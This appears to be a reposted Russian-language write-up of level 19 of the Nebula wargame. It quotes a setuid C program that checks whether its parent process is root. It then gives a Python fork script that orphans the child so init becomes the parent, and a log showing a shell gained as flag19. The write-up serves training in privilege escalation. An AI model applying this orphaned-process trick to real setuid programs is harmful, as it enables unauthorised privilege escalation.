44226113-d394-4f46-9406-91888128e27a
getflag
You have successfully executed getflag on a target account

Level19

В описании к уровню говорится о том, что в программе есть ошибка, и искать её нужно в рантайме:

level19.c

#include <stdlib.h>
#include <unistd.h>
#include <string.h>
#include <sys/types.h>
#include <stdio.h>
#include <fcntl.h>
#include <sys/stat.h>

int main(int argc, char **argv, char **envp)
{
  pid_t pid;
  char buf[256];
  struct stat statbuf;

  /* Get the parent's /proc entry, so we can verify its user id */

  snprintf(buf, sizeof(buf)-1, "/proc/%d", getppid());

  /* stat() it */

  if(stat(buf, &statbuf) == -1) {
      printf("Unable to check parent processn");
      exit(EXIT_FAILURE);
  }

  /* check the owner id */

  if(statbuf.st_uid == 0) {
      /* If root started us, it is ok to start the shell */

      execve("/bin/sh", argv, envp);
      err(1, "Unable to execve");
  }

  printf("You are unauthorized to run this programn");
}

Судя по коду, нужно, чтобы процесс был как-то запущен с UID=0. После некоторых поисков, находим статью, из которой узнаём, что если создать форк процесса, а затем убить его родителя, то система автоматически назначит этому форку нового родителя: процесс с PID=1 или так называемый init.
На Python, реализация такого подхода выглядит следующим образом:

#!/usr/bin/python
import os, time

def child():
    print 'Child ', os.getpid()
    time.sleep(1)
    print "Running shell..."
    os.execv("/home/flag19/flag19", ('sh',))


def parent():
    newpid = os.fork()
    if newpid == 0:
        child()
    else:
        pids = (os.getpid(), newpid)
        print "parent: %d, child: %d" % pids

parent()

После запуска, получаем нужный нам шелл:

level19@nebula:/home/flag19$ cat|python /tmp/flag19.py 
parent: 3828, child: 3829
Child  3829
Running shell...
id
uid=1020(level19) gid=1020(level19) euid=980(flag19) groups=980(flag19),1020(level19)
getflag
You have successfully executed getflag on a target account

На этом всё.

Автор: GH0st3rs

Источник

Поделиться

* - обязательные к заполнению поля